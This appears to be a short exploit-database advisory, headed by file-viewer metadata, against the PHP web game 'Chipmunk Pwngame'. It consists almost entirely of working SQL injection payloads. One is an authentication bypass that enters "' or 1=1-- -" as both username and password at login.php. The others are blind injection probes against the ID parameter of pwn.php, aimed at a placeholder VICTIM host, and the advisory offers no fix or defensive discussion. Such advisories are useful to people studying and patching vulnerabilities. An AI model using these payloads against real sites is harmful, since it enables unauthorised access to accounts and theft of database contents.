28 lines
1.2 KiB
Text
Executable file
28 lines
1.2 KiB
Text
Executable file
===================================================
|
|
Chipmunk Pwngame <= Multiple SQL() Vulnerabilities
|
|
===================================================
|
|
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
[+] Author : KnocKout
|
|
[~] Contact : knockoutr@msn.com
|
|
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
|
|
{ H4X0RE SECURITY PROJECT }
|
|
AQ. "Rüyalarýma bitek Uyuyoken kavuþuyosam Anladýmki Ölmekte zor deðil.."
|
|
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
~Web App. : Chipmunk Pwngame
|
|
~Software: http://www.chipmunk-scripts.com/page.php?ID=34
|
|
~Vulnerability Style : SQL Vulnerabilities
|
|
-----------
|
|
~Demo: http://www.chipmunk-scripts.com/pwngame/
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
~~~~~~~~ Explotation| Auth bypass() ~~~~~~~~~~~
|
|
http://VICTIM/Path/login.php
|
|
Username : ' or 1=1-- -H4x0reSEC
|
|
Password : ' or 1=1-- -H4x0reSEC
|
|
================================
|
|
~~~~~~~~ Explotation| Blind SQL Inj() ~~~~~~~~~~~
|
|
http://VICTIM/Path/pwn.php?ID=1 [Blind]
|
|
http://VICTIM/Path/pwn.php?ID=1 and 1=0
|
|
http://VICTIM/Path/pwn.php?ID=1 and 1=1
|
|
================================
|
|
|